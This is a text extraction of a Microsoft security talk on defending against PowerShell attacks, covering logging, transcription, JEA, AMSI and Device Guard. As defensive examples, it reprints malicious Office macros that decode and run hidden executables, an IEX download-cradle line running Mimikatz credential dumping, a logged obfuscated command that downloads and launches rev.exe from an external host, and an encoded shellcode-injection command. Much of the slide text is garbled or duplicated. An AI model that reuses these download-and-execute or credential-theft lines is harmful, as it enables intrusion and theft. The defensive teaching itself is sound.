Defending Against PowerShell Attacks


Jon Fox @jofoMSFT Security PFE

Adopted from a presentation by Lee Holmes Lead Security Architect, Azure Management

@Lee_Holmes



INTO THE ABYSS



œ PAGE 1 OF 1 0 WORDS

https://twitter.com/JohnLaTwC

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(General) (Declarations)]
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(General) v s2	~
<pre>Sub AutoOpen() Dim s As String s = "" Dim b As String b = "BEGIN CERTIFICATE" Dim e As String s = s & "xRAbjSyyIZ9cE37DzhNXBk6Z6dhEwkGmU2sVsAG2E5He9ENw1NNA4MmcoLrzwvmD" s = s & "IDhceysVOMTo1L7/62qVETx9Gxb5GDUnjZLD+JFDxs1/uoUkxYhJVrqlX9pO214y" s = s & "IDhceysVOMTo1L7/62qVETx9Gxb5GDUnjZLD+JFDxs1/uoUkxYhJVrqlX9pO214y" s = s & "EmMe7QJyFYtkGAQbORlq/lpuLNIB12APDF056WJF6MjKfb+iuqs6/pLDAsm5aEH/" s = s & "ZaDBW2lABzrq1hrf+E/JKrm8l1ge74KleGw2GTLSBV/QQT+SEqnfpyonFjYm3o2W" s = s & "ZaDBW2lABzrq1hrf+E/JKrm8l1ge74KleGw2GTLSBV/QQT+SEqnfpyonFjYm3o2W" s = s & "UqTosV6J7TbfXxR9zvd73c6lfatSzMCO0JJeXmmPSgUFlyW+rx3LjhXgKgcRMi+L" s = s & "TBjUBwwsmlH1/6dXFF5JDXM+D4gUI9qMv2OTWr2a2ejxYrYroaxulpUETnYtEW3o" s = s & "fMerAt23INRYh9jTxS0h85TwBzqhhA06srcULDOXIwDOIEjR6W11w3Tbh8D3+GaD" s = s & "cAqdHh7wtI+PpjNBd9QFSGkzRBhG200Fspn+IVvNIvdbv1Dekn9K5K+FsxHXfIP" s = s & "c940b30kRyKuCnV2r9114BWh4KPIX2dQe492HzSeJnRFy17eMmJB2yFo8E8Dhg12" s = s & "o940b30kRyKuCnV2r9114BWh4KPIX2dQe492HzSeJnRFy17eMmJB2yFo8E8Dhg12" s = s & "bUT/pdbdDYzPXDTtMhgG3DDB0Yj9W3Rbv1dqJdBuuIFcD5fgKKKjQcp+2zk0wk" s = s & "jdy5i9E7ZAkHKhAj8qamXENdUSV0hGn52E1M4fw0K1nN4wu0EyhDdIOh19+mSnXc"</pre>	*
<pre>e = "END CERTIFICATE" Dim fso Set fso = CreateObject("Scripting.FileSystemObject") Dim Fileout As Object Set Fileout = fso.CreateTextFile(Environ("Temp") & "\\Signature.crt", True, True) Fileout.Write b Fileout.Write StrReverse(s2() & s) Fileout.Write e Fileout.Close Dim wsh As Object Set wsh = VBA.CreateObject("WScript.Shell") Dim waitOnReturn As Boolean: waitOnReturn = True Dim windowStyle As Integer: windowStyle = 0 wsh.Run "cmd.exe /c certuil -decode " & Environ("Temp") & "\\Signature.crt " & Environ("Temp") & "\\Sign.exe", wsh.Run "cmd.exe /c " & Environ("Temp") & "\\Sign.exe", windowStyle, waitOnReturn Kill Environ("Temp") & "\\Sign.exe" Kill Environ("Temp") & "\\Sign.exe"</pre>	^
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(Ge	neral) v callLearning v	
	Sub callLearning()	3
	Dim LearningModule As String LearningModule = "" LearningModule = LearningModule + " iNvoKE-ExprESsIoN (([runtime.InTEroPsErviCES.marshal]::PtrtOstRIngauto([rUNTIM	
	LearningModule = LearningModule + "AOAAwADUANwA2ADEAMQAxAGEAZgB1AGEAOAAzAGEAZAAOAGEAOABmADEAZQBjADIANgA3ADYANQB1ADM LearningModule = LearningModule + "gAxADUAYwA2ADMAMABkADYAMQBkADIANwBiADEANgB1AGYAYgBhADQAMgAyADUAYgBkADMAZgBjADgAN LearningModule = LearningModule + "mADYANAA4ADkAYgAyAGUAZQA4ADIAMQBhADQAZABiAGUAYQA4AGYAZQB1ADMAOQBhADAAYwA3AGQAOAA	
	LearningModule = LearningModule + "MADIANAA4ADKAIGAYAGUAZQA4ADIAMQBMADQAZABIAGUAIQA4AGIAZQBIADMAQQBMADAAIWA3AGQAOAA LearningModule = LearningModule + "DQAZgBkADkAMQA0AGMAMWAYADcAMWA0AGUANAAWADAAOQA2ADAAMgBjADcANAAYADcAZQA1ADgAZAA3A LearningModule = LearningModule + "AYWBmAGUAZAA2AGQAMgBkADEAZQA0AGQAYWAXADcAZgA3ADMAMgA5ADMAZgAZAGIAOQBhAGMANQAWAGY LearningModule = LearningModule + "QAXADgAMWBjADEAYgA4AGUAZAAwADMAZABhADcANgAZADEAOAAXADcAYWB1ADQAZQA4ADOAMAB1ADMAM	
	LearningModule = LearningModule + "QAXADQANMDJADEATQATAGGAZAAWADNAZADNADCANGAZADEAGAAAADCATWDIADQAZQATADQATADIADAAA LearningModule = LearningModule + "DkAZQA1AGMAMwA5AGUAMwBhAGMANQAyAGUAMwAxADEAMQBiADEAYQAZADYAMgBlADAANQAxAGIAZgBiA LearningModule = LearningModule + "ANQA5ADMAYQAxAGUANgBjADAAGABhADIAOQB1ADQAQQA5ADUAGAAGADIAZABkADQAMABiADkANQAOAGY	
	LearningModule = LearningModule + "AAzADkAMQAyADcAYgBmAGEAMwBhADEANQBmADkANAAOADcANgA3AGQANwBmADgANAA5ADcAOABiAGMAY LearningModule = LearningModule + "IAGEAYgA3AGEAMgA5ADkAOQBjADAAOAA3ADQAOQA0ADcAMwAwAGQAYwB1ADMAYQBmAGIAMgAxAGIAOAA	
	Dim WshShell Set WshShell = CreateObject("Wscript.Shell")	
	With WshShell.Exec("powershell.exe -noexit -w hidden -Command -") .StdIn.WriteLine LearningModule .StdIn.WriteBlankLines 1	
	.Terminate End With	
	End Sub	
	Function dexit() MsgBox ("Error: We are sorry, but the server could not be reached. If this problem persists, please contact ser	
	End Function	
	Public Function Base64Decoding(StrToDecode As String, Optional CheckInvalidChars As Boolean = True) As String Static DecodeTable(0 To 255) As Byte	
3	<	e I

WHAT DOES APT LOOK LIKE?

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If Not (tso.Filetxists(<u>Wss.ExpandEnvironmentStrings("%PUBLIC%") & "\Libraries\update.vbs")) Then</u> fso.CreateFolder (wss.ExpandEnvironmentStrings("%PUBLIC%") & "\Libraries\up")	<text><text><section-header><text><text><text><text><section-header><text><section-header><section-header><text><text><text><text></text></text></text></text></section-header></section-header></text></section-header></text></text></text></text></section-header></text></text>					

https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html



Blog Home > Unit 42 > Pulling Back the Curtains on EncodedCommand PowerShell Attacks

Pulling Back the Curtains on EncodedCommand PowerShell Attacks



By Jeff White March 10, 2017 at 5:00 AM Category: Unit 42 Tags: microsoft, Powershell

👁 10,943 📫 6 🍯 📑 📊

General Distribution / Stats

Across the 4,100 samples, there were 4 file formats seen.

File Format	Count	% of Total
"exe"	2,154	52.54%
"doc"	1,717	41.88%
"xls"	228	5.56%
"dll"	1	0.02%
ai		0.0278

http://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/

POWERSHELL FOR POST-EXPLOITATION

PS C:\> IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/lok4Pmt') Invoke-Mimikatz -DumpCreds

.#####. mimikatz 2.0 alpha (x64) release "Kiwi en C" (Dec 14 2015 19:16:34 .## ^ ##. ## / ` ## /* * * ## / ` ## Benjamin DELPY `gentilkiwi` (benjamin@gentilkiwi.com)

\ / ## 'Benjamin DELPY `gentilkiwi` (benjamin@gentilkiwi.com) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 17 modules * * */

PowerShell Toolkit: PowerSploit

Making it easy to use PowerShell for evil

POSTED IN EXPLOIT DEVELOPMENT, GENERAL SECURITY, PENETRATION T====== 8, 2015 Empire

Empire: PowerShell post-exploitation agent | [Version]: 0.5.1-beta

SocialEngineer

[Twitter]

PS Attack, a portable PowerShell attack toolkit - Jared ... 🕓 🖈





E POWERSHELL

K TOOLEIT



https://www.PowerShellEmpire.com/ |

91 modules currently loaded

 ${f 1}$ listeners currently active

1 agents currently active


(SOME) POST-EXPLOITATION OPTIONS ON A COMPROMISED MACHINE

- Compiled exe files
- DLLs (i.e.: Load Path tampering, application dependencies)
- Perl
- Python
- Ruby
- Bash
- VBScript
- JScript

- COM objects
- Macros / Visual Basic for Applications (VBA)
- csc.exe
- HTML Applications (HTAs)
- SQL
- PowerShell

Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Execution	Collection	Extitution	Command and Control		
Persistence	Privile and a second tori	Determe Exclaron	Citotenno Access	Discovery	Langedi movement	EXECUTION	Automated	Automated			
DLL Search Order Hijacking		Brute Force	Account Discovery	Windows Remote	Windows Remote Management		Extitration	Commonly Used Port			
Legitimate Credentials		Credentical	Credentici	Application	Third-party	Software	Clipboard Data	Data Compressed	Communication		
Accessibility Features		Binary Padding	Dumping	Window Discovery	Application Deployment	Command-Line	Data Staged	Data Encrypted	Through Removable Media		
Appinit DLLs		Code Signing			Software	Execution through API	Data from Local System	Data Transfer Size Limits	Custom Command		
Local Port	Local Port Monitor		Credential Manipulation	File and Directory Discovery	Exploitation of Vulnerability	Graphical User Interface	Data from Network Shared	Extilitation Over Alternative Protocol	and Control Protocol		
Now So	rvice	DLL Side-Loading	Credentials in Files	Local Network	Logon Scripts	InstallUtil PowerShell	Drive Data from		Cryptographic Protocol		
2000.000			14224	Configuration Discovery	Pass the Hash	Process Hollowing	Removable Media	Exfiltration Over Command and	Data Obfuscation		
Path Inter	oeption	Disabling Security Tools	Capture	- Disconery	Pass the Ticket	Regsovs/Regasm	Emoli Collection	Control Channel	Fallback Channels		
Schedule	ed Task	File Deletion	Network Sniffing	Local Network	Remote Desk Protocol	Regscvr32	Input Capture	Exfiltration Over Other Network	Multi-Stage Channels		
File System Perm	issions Weakness	File System	Two-Factor	Connections Discovery	Remote File Copy	Rundli32	Screen Capture	Medium	Multiband		
Service Registry Perr	mission Weakness	Logical Offets	Authentication	Network Service	Remote Services	Scheduled Task	Audio Capture	Exfiltration Over Other	Communication		
Web S	hell	Indicator Blocking	Interception	Scanning	Replication Through	Scripting	Video Copture	Physical Medium	Multiover Encryption		
Basic Input/	1	Exploitation of Wilserability Discovery	Service Execution Windows		Scheduled Transfer	Peer Connections					
Output System	Bypass User Account Control					Permissions Group	Shared Webroot	Management			Remote File Copy
Boofkit	Boolkit DLL Injection			Discovery	Taint Shared Content Windows Admin	Instrumentation MSBuild			Standard Application Layer Protocol		
Change Delault File Association	Component Obj	ect Model Hijacking		Process Discovery		Execution Through			Standard		
Component Firmware		Indicator Removal		Query Registry	ļ	Module Load			Cryptographic Protocol		
		from Tools		Remote System Discovery					Standard Non-Application		
Hypervisor		on Host	i î	Security Software	1				Layer Protocol		
Logon Scripts		Install Util		Discovery					Uncommonly Used Port		
Modify Existing Service		Masquerading	1	System Information Discovery					Web Service		
Redundant Access		Modify Registry			1				Data Encoding		
Registry Run Keys/		NTFS Extended Attributes		System Owner/ User Discovery							
Start Folder		Obfuscated Files or									
Security Support Provider		Information		System Service Discovery							
Shortcut Modification		Process Hollowing		System Time	1						
Windows Management		Redundant Access		Discovery	1						
Instrumentation Event	i k	Regsvcs/Regasm Regsvr									
Subscription		Rootkit									
Winlogon Helper DLL		Rundil32									
Netsh helper DLL		Scripting	1								
Authentication Package Softwore Poo		Software Packing						AAIT	DE		
External Remote		Timestomp	1					MI			
Services		MSBuild									
	Network Share								Corporation All Rights Reserved. ic Release: Distribution Unlimited.		
	Removal Install Root							Case Number 15-1			
		Certificate									


LET'S BLOCK POWERSHELL!



- Doesn't address the underlying security problem
- Removes your most secure and security-transparent management tool

OOPS!

PowerShell Isn't Just PowerShell.exe



\$turtle.Reset()	<u>^</u>
function fern(\$size)	
۱ if(\$size -lt 5) { return }	
\$turtle.Forward(\$size / 20) \$turtle.Left(80)	
fern (\$size * 0.3)	×
	Run

https://blogs.msdn.microsoft.com/powershell/2013/10/01/paap-windows-powershell-as-a-platform-part-1/

Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lotent Manmoot	Easter disco	Collection	Extituation	Command and Control					
	DLL Search Order Hijacki	ng l	Brute Force	Account Discovery	Windows Remote	e Management	Automated Collection	Automated Extititation	Commonly Used Port					
Legitimate Credentials			112000101	Conduction Application		sonware	Clipboard Data	Data Compressed						
Accessibility Features Bi		Binary Padding	Credential Dumping	Window Discovery Application		Command-Line	Data Staged	Data Encrypted	Communication Through Removable Media					
Appinit DLLs		Code Signing			Deployment Software	Execution	Data from	Data Transfer	Custom Command					
Local Pr	orf Monillor	Component Firmware	Credential Manipulation	File and Directory Discovery	Exploitation of Vulnerability	through API Graphical User Interface	Data from Network Shared	Size Limits Extituation Over Alternative Protocol	and Control Protocol					
New	Service	DLL Side-Loading	Credentials in Files	Local Network	Logon Scripts	PowerShell	Drive Data from		Cryptographic Protocol					
-	1000000000		12223	Configuration Discovery	Pass the Hash	Process Hollowing	Removable Media	Exfiltration Over Command and	Data Obfuscation					
Path In	erception	Disabling Security Tools	Copture	DISCOVERY	Pass the Ticket	Regiscvs/Regain	Email Collection	Control Channel	Falback Channels					
Sched	uled Task	File Deletion	Network Sniffing	Local Network	Remote Desk Protocol	Regscvr32	Input Capture	Exfiltration Over Other Network	Multi-Stage Channels					
File System Pe	missions Weakness	File System	Two-Factor	Connections Discovery	Remote File Copy	Rundil32	Screen Capture	Medium	Multiband					
Service Registry P	ermission Weakness	Logical Offets	Authentication	Network Service	Remote Services	Scheduled Task	Audio Copture	Exfiltration Over Other	Communication					
Wet	shell	Indicator Blocking	Interception	Scanning	Replication Through Removable Media	Scripting	Video Capture	Physical Medium	Multilayer Encryption					
Basic Input/	Exploitation of Mainstein		Exploitation of Vulneta		itγ	Peripheral Device Discovery	Shared Webroot	Service Execution Windows		Scheduled Transfer	Peer Connections			
Output System	Bypass User	Bypass User Account Control		Permissions Group	Taint Shared Content	Management			Remote File Copy					
Bootkit	DLL	njection		Discovery	Windows Admin Shares	Instrumentation MS8ulid			Standard Application Layer Protocol					
Change Delault File Association	Component Ob	ect Model Hijacking		Process Discovery		Execution Through			Standard					
Component Firmwar	0	Indicator Removal from Tools		Query Registry Remote System	{	Module Load			Cryptographic Protocol					
Hypervisor	1	Indicator Removal	i i	Discovery	ļ				Standard Non-Application Layer Protocol					
Logon Scripts		on Host Install Util				B			Security Software Discovery					Uncommonly Used Port
Modify Existing Service	•	Masquerading		System Information Discovery]				Web Service					
Redundant Access	=	Modify Registry			1				Data Encoding					
Registry Run Keys/	4	NTFS Extended Attributes	8	System Owner/ User Discovery										
Start Folder	-	Obfuscated Files or Information	2 E	System Service	1									
Security Support Provider		Process Hollowing		Discovery										
Shortcut Modificatio	n	Redundant Access	i i	System Time Discovery	1									
Windows Manageme	w	Regsvcs/Regasm	8	Discovery	1									
Instrumentation Ever	t .	Regsvr												
Subscription Roatkit														
Netsh helper DLL Rundli32														
Authentication		Scripting	2											
Package		Software Packing							DE					
External Remote	7	Timestomp MS8uild						MI						
Services			© 2017 The MITIE Corporation											
1		Removal	9					a second s	c Release: Distribution Unlimited.					
		Install Root Certificate						Cose Number 15-1	100					
		Territoria de la companya												

MASLOW'S HIERARCHY OF SECURITY CONTROLS

Forensic capture of memory-based artifacts

Forensic capture of host-based artifacts

Auditing of Protections

Application Whitelisting in "Allow" Mode

Application Whitelisting in "Deny" Mode

Patching & Antivirus

Remediate

Detect

Prevent

http://www.leeholmes.com/blog/2014/12/08/maslows-hierarchy-of-security-controls/

WE'RE LISTENING

Engine 🖵 I	Event Logging 🔽	Transcription 💌	Dynamic Evaluation Logging 💌	Encrypted Logging 💌	Application Whitelisting 🔽	Antimalware Integration 💌	Local Sandboxing 🔽	Remote Sandboxing 💌	Untrusted Input Tracking 💌
Bash I	No**	No*	No	No	Yes	No	No*	Yes	No
CMD / BAT	No	No	No	No	Yes	No	No	No	No
Jscript I	No	No	No	No	Yes	Yes	No	No	No
LUA I	No	No	No	No	No	No	No*	Yes	Yes
Perl	No	No	No	No	No	No	No*	Yes	Yes
РНР	No	No	No	No	No	No	No*	Yes	Yes
PowerShell	Yes	Yes	Yes	Yes	Yes	Yes	Yes	Yes	No**
Python I	No	No	No	No	No	No	No	No	No**
Ruby	No	No	No	No	No	No	No**	No**	Yes
sh I	No**	No*	No	No	No	No	No*	Yes	No
T-SQL	Yes	Yes	Yes	No	No	No	No**	No**	No
VBScript I	No	No	No	No	Yes	Yes	No	No	No
zsh	No**	No*	No	No	No	No	No*	Yes	No
* Feature exists, but cannot enforce by policy									
** Experimen	nts exist								

https://blogs.msdn.microsoft.com/powershell/2017/04/10/a-comparison-of-shell-and-scripting-language-security/

WE'RE LISTENING

Engine 🖵	Event Logging	 Transcription 	Dynamic Evaluation Logging	Encrypted Logging	Application Whitelisting	Antimalware Integration	Local Sandboxing	 Remote Sandboxing 	Untrusted Input Tracking	
Bash	No**	No*	No	No	Yes	No	No*	Yes	No	
CMD / BAT	No	No	No	No	Yes	No	No	No	No	
Jscript	No	No	No	No	Yes	Yes	No	No	No	
LUA	No	No	No	No	No	No	No*	Yes	Yes	
Perl	No	No	No	No	No	No	No*	Yes	Yes	
PHP	No	No	No	No	No	No	No*	Yes	Yes	
PowerShell	Yes	Yes	Yes	Yes	Yes	Yes	Yes	Yes	No**	
Python	No**	No	No**	No	No**	No**	No	No	No**	
Ruby	No	No	No	No	No	No	No**	No**	Yes	
sh	No**	No*	No	No	No	No	No*	Yes	No	
T-SQL	Yes	Yes	Yes	No	No	No	No**	No**	No	
VBScript	No	No	No	No	Yes	Yes	No	No	No	
zsh	No**	No*	No	No	No	No	No*	Yes	No	
* Feature exists, but cannot enforce by policy										
** Experiments exist										

https://blogs.msdn.microsoft.com/powershell/2017/04/10/a-comparison-of-shell-and-scripting-language-security/



JUST ENOUGH ADMINISTRATION (JEA)

Serverl

PS> mstsc /v Server1
Access Denied

"Jeffrey I need to be admin on Server1 to restart DNS"

"No gentilkiwi. Just use PowerShell to connect to the server"

PS> Enter-PSSession Server1 Server1> Restart-Service Dns

Server1> Steal-Secrets Error: You are not authorized to Steal-Secrets






Time



Time



Time

JEA ROLE CAPABILITY EXAMPLE

@{

Description of the functionality provided by these settings
Description = 'Role Capabilities for DNS Maintenance'

```
# Modules to import when applied to a session
ModulesToImport = 'DnsServer'
```


```
# Cmdlets to make visible when applied to a session
VisibleCmdlets = 'Get-Service', 'Restart-Service',
'Get-DnsServerCache', 'Clear-DnsServerCache',
'Show-DnsServerCache'
```

```
# Functions to define when applied to a session
FunctionDefinitions = @{
    'Name' = 'whoami'
    'ScriptBlock' = { $PSSenderInfo } }
```

LOCAL SANDBOXING

🔡 R	Registry Editor												
<u>F</u> ile <u>E</u> dit <u>V</u> iew F <u>a</u> vorites <u>H</u> elp													
Comp	Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration												
	>	EventLog	EventLog Name Type Data										
	>	IPSec		(Default)	REG_SZ	(value not set)							
	>	NetCache		(ConsoleSessionConfigurationName	REG_SZ	Jumpbox							
		Network Connections		ab EnableConsoleSessionConfiguration	REG_SZ	0			/				
		NetworkConnectivityStatusIndicato)r	EnableConsoleSessionConfiguration	NEO_32	U							
	>	NetworkProvider											
	v	PowerShell											
		ConsoleSessionConfiguration											
	>	QoS											
	>	safer											
		SettingSync											
		SQMClient											
	>	SrpV2											
		System											
	>	Тсрір											
	>	WcmSvc											
	>	Windows Error Reporting											
	>	WindowsUpdate											
	> -	WinRM											
	>	WiredL2											
	>	Wireless											
		WorkplaceJoin											
	> -	WSDAPI	~										
<		-	> '	<					>				

JUST ENOUGH ADMINISTRATION!





https://aka.ms/jea

MAKING POWERSHELL SECURITY TRANSPARENT



Module / Pipeline logging System-wide transcripts Script Block logging Antimalware Integration

http://aka.ms/MVAps5

CONFIGURATION

J	Local Group Policy Editor	_ 🗆 🗡	
File Action View Help			
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 Tablet PC Task Scheduler Windows Calendar Windows Color System Windows Customer Expe Windows Defender Windows Error Reporting Windows Installer Windows Logon Options 	Edit <u>policy setting</u> Requirements:	Module Logging PowerShell Script Block Logging Script Execution PowerShell Transcription efault source path for Update-Help	
 Windows Logon Options Windows Mail Windows Media Center Windows Media Digital F Windows Media Player Windows Messenger Windows Mobility Cente Windows PowerShell Windows Reliability Anal Windows Remote Manag Windows Remote Shell 	Turn on PowerShell Script Block Logging	PowerShell Script Block Logging Previous Setting Microsoft Windows 7 or Windows Server 2	Next Setting
Windows Update	options:	Help:	
5 setting(s)	Log script block invocation start / stop events	This policy setting enables lo input to the Microsoft-Windows- log. If you enable this policy setti	ng, the processing of commands, ots - whether invoked

MODULE / PIPELINE LOGGING

	Windows PowerShell – 🗆 🗙
110 [C:\temp] >> \$script = "publ	ic class Foo2 { public static void Hello() { } }"
111 [C:\temp] >> Add-Type -TypeDe	efinition \$script
112 [C:\temp] >>	
112 [C:\temp] >> Get-EventLog -Ld >> Where Messag >>	ogName "Windows PowerShell" -InstanceId 800 ge -match Add-Type Select -First 1 Format-List
Index EntryType InstanceId Message	: 3729428 : Information : 800 : Pipeline execution details for command line: Add-Type -TypeDefinition \$script.
	Context Information: DetailSequence=1 DetailTotal=1
	SequenceNumber=2070 UserId=REDMOND\leeholm
	HostName=ConsoleHost HostVersion=4.0 HostId=ed75b562-91e9-402b-b66f-3a33893a13f5
	EngineVersion=4.0 RunspaceId=b49e7bd2-c28f-49e7-8b68-b3bb799038b5 PipelineId=233 ScriptName=
	CommandLine=Add-Type -TypeDefinition \$script Details: ParameterBinding(Add-Type): name="TypeDefinition"; value="public class Foo2 { public
Category	: Pipeline Execution Details
CategoryNumber ReplacementStrings	: 8 : {Add-Type -TypeDefinition \$script, DetailSequence=1 DetailTotal=1
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SYSTEM TRANSCRIPTS

PowerShell_transcript.EDLT.6VtWcOHE.20160329162630.txt - Notepad -	
File Edit Format View Help	
*******	^
<pre>Windows PowerShell transcript start Start time: 20160329162630 Username: EDLT\mredw RunAs User: EDLT\mredw Machine: EDLT (Microsoft Windows NT 10.0.10586.0) Host Application: C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell_ISE.exe Process ID: 8564 PSVersion: 5.0.10586.122 PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0.10586.122 BuildVersion: 10.0.10586.122 CLRVersion: 4.0.30319.42000 WSManStackVersion: 3.0 PSRemotingProtocolVersion: 2.3 SerializationVersion: 1.1.0.1 ********************************</pre>	.EDLT.6VtWc
PS C:\> gps select -Last 1	
Handles NPM(K) PM(K) WS(K) VM(M) CPU(s) Id SI ProcessName	
293 18 5416 10536 116 2808 0 ZeroConfigService	
PS C:\> Stop-Transcript ****************	
Windows PowerShell transcript end End time: 20160329162646 *****************	
	~
<	>
Ln 1, Col 1	

SCRIPT BLOCK LOGGING

powershell -encodedCommand IABpAGUAeAAgACgAa...AeQAvAGUAMABNAHcAOQB3ACkAIAA=

Even	t Properties - Event 4104	, PowerShell	(Microsoft-Windows-PowerShell)	×
General Details		IEX (Invoke-Expression)	_
en'+'v:USER'+'PR' ObJect Syst'+'e'+'r ({'+'1'+'}'+'htt'+'p {1'+'}'+')'+';e'+'xp out-nu'+'l'+'l;St'+ b'+'.c'+'a'+'b')-f	DSHoME[34]+'X')((('{0}'+'A0={' +'O'+'F'+'IL'+'E;'+'{0'+'}+'b=o m.N'+'eT.W'+'ebClieNt)'+'.D'+ s'+'://s'+'ayi'+'trade.co'+'m/c and {'+'0}A'+'0{'+'3}'+'{0}'+'b'	get-'+'ran'+'d'+'o +'o'+'wn'+'lo'+'a :'+'u'+'b.b'+'in{'- +'.'+'c'+'ab {0}er '+'}r'+'ev.e'+'xe;l !,[cHAR]92))	om(1'+'0'+'0'+'00999'+'999)'+';'+'(New- '+'dfile +'1'+'}+',{'+'1}{'+'0'+'}A0'+'{3}{'+'0}b.cab hv:U'+'SERPR'+'OF'+'ILE{3}re'+'v.exe{'+'2} Remove-'+'Ite'+'m {0}A0{3}'+'{'+'0}	•
Log Na <u>m</u> e:	Microsoft-Windows-PowerSł	nell/Operational		
Source:	PowerShell (Microsoft-Wind	Logge <u>d</u> :	3/3/2017 7:00:53 AM	
Event ID:	4104	Task Category:	Starting Command	
Level:	Verbose	Keywords:	None	
<u>U</u> ser:		Compute <u>r</u> :		
OpCode:	On create calls			
More Information:	Event Log Online Help			
Сору				<u>C</u> lose

Event Properties - Event 4104, PowerShell (Microsoft-Windows-PowerShell)

General Details

Creating Scriptblock text (1 of 1): \$A0=\$env:USERPROFILE;\$b=get-random(10000..999999);(New-ObJect System.NeT.WebClieNt).Downloadfile("https://sayitrade.com/cub.bin", "\$A0\\$b.cab");expand \$A0\\$b.cab \$env:USERPROFILE\rev.exe|out-null;Start-Process \$A0\rev.exe;Remove-Item \$A0\\$b.cab

ScriptBlock ID: 3263ba81-1bf6-4490-852d-76c58eea5ad7

Log Name:	Microsoft-Windows-PowerShell/Operational			
Source:	PowerShell (Microsoft-Wind	Logged:	3/3/2017 7:00:53 AM	
Event ID:	4104	Task Category:	Starting Command	
Level:	Verbose	Keywords:	None	
User:		Computer:		
OpCode:	On create calls			
More Information:	Event Log Online Help			

Close

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Copy

ANTIMALWARE INTEGRATION (AMSI)

root@bt:/pentest/exploits/set/reports/powershell# ls
powerdump.encoded.txt x64_powershell_injection.txt
powershell.rc x86_powershell_injection.txt
root@bt:/pentest/exploits/set/reports/powershell# cat x64_powershell injection.t
xt

powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand JABjAG 8AZABlACAAPQAgACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAG WAIqApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAqAGUAeAB0AGUAcqBuACAASQBuAHQAUAB0AH IAIABWAGkAcqB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbqB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAH MALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AG kAbwBuAFQAeQBwAGUALAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsAWwBEAGwAbABJAG 0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAH QAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAG EAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAH UAa0BuAH0AIABkAHcAUwB0AGEAYwBrAFMAa0B6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAH IAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsAC AAdQBpAG4AdAAqAGQAdwBDAHIAZQBhAHQAaQBvAG4ARqBsAGEAZwBzACwAIABJAG4AdABQAHQAcqAqAG wAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAG0AcwB2AGMAcgB0AC 4AZABsAGwAIqApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAqAGUAeAB0AGUAcqBuACAASQBuAH QAUAB0AHIAIABtAGUAbQBzAGUAdAAoAEkAbgB0AFAAdAByACAAZABlAHMAdAAsACAAdQBpAG4AdAAgAH MAcqBjACwAIAB1AGkAbqB0ACAAYwBvAHUAbqB0ACkA0wAnADsAJAB3AGkAbqBGAHUAbqBjACAAPQAqAE EAZABkAC0AVAB5AHAAZQAgAC0AbQBlAG0AYgBlAHIARABlAGYAaQBuAGkAdABpAG8AbgAgACQAYwBvAG QAZQAqAC0ATqBhAG0AZQAqACIAVwBpAG4AMwAyACIAIAAtAG4AYQBtAGUAcwBwAGEAYwBlACAAVwBpAG

PROTECTED EVENT LOGGING

8		Event V	iewer	-	- 🗆) ×	¢
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USEFUL EVENTS

Log Name	Event ID	Purpose
System	104	An event log was cleared
Security	4656	Auditing of configured files, registry keys: PowerShell profiles (*profile*.ps1) Security settings (HKLM:\Software\Policies*)
Windows PowerShell	400	PowerShell Startup, including hosting application, version
Windows PowerShell	800	Command and Parameter Logging
Microsoft-Windows-PowerShell/Operational	4104 <i>Warning</i>	ScriptBlock <i>automatic</i> logging – used APIs or techniques commonly associated with malware
Microsoft-Windows-PowerShell/Operational	4104 Verbose	ScriptBlock logging
Microsoft-Windows-PowerShell/Operational	53507	PowerShell debugger attached to a process
Microsoft-Windows-WinRM/Operational	91	User connected to system with PowerShell Remoting

DEVICE GUARD AND APPLICATION WHITELISTING



POWERSHELL WITH DEVICE GUARD

🔄 Windows PowerShell ISE		Х
Eile Edit View Tools Debug Add-ons Help		
trusted.ps1 X		
1 param(\$Exponent) 2		
3 [Math]::Pow(2, \$Exponent)		
		~
PS C:\WINDOWS\system32> c:\windows\system32\trusted.ps1 8 256		^
PS C:\WINDOWS\system32> [System.Runtime.InteropServices.Marshal]::ReadByte(1234) Cannot invoke method. Method invocation is supported only on core types in this language mode. At line:1 char:1		
<pre>At Time.1 Char.1 + [System.Runtime.InteropServices.Marshal]::ReadByte(1234) + assessessessessessessessessessessessesse</pre>		
+ CategoryInfo : InvalidOperation: (:) [], RuntimeException + FullyQualifiedErrorId : MethodInvocationNotSupportedInConstrainedLanguage		
PS C:\WINDOWS\system32> '[System.Runtime.InteropServices.Marshal]::ReadByte(1234)' > c:\temp\truste	d.ps	:1
PS C:\WINDOWS\system32> c:\temp\trusted.ps1		
Cannot invoke method. Method invocation is supported only on core types in this language mode. At C:\temp\trusted.ps1:1 char:1 + [System.Runtime.InteropServices.Marshal]::ReadByte(1234)		
